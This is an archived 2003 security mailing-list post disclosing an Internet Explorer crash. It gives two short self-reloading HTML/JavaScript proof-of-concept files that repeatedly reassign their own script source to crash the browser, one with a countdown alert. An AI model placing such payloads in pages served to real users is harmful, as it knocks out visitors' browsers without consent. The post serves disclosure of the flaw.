Internet Explorer Crash

From: Digital Scream (digitalscreamat_private)
Date: Mon Jul 07 2003 - 15:49:47 PDT

  • Next message: @stake Advisories: "Named Pipe Filename Local Privilege Escalation" 

    
 ('binary' encoding is not supported, stored as-is)
The following example, results in crash:

--------------------[Crash.html]--------------------
window.moveTo(screen.width,screen.height);
document.all.tags("script")[0].src="Crash.html";
//<script src="Crash.html"></script>
-----------------[End of Crash.html]----------------

The result is influenced with set of factors, amount of copies Internet 
Explorer and symbols in the document.

In that specific case, there is an opportunity to foresee the moment of 
crash. For example, if openly one window of Internet Explorer:

--------------------[Demo.html]--------------------
if(!window.counter)
{
	window.counter=1;
	alert("Internet Explorer will be crashed after 3-5 cycle");
}
window.counter++;
alert(window.counter);
document.all.tags("script")[0].src="demo.html";
//<script src="demo.html"></script>
-----------------[End of Demo.html]----------------

Grtz: UInC Team

    

    



    

    


This archive was generated by hypermail 2b30 
: Tue Jul 08 2003 - 10:07:33 PDT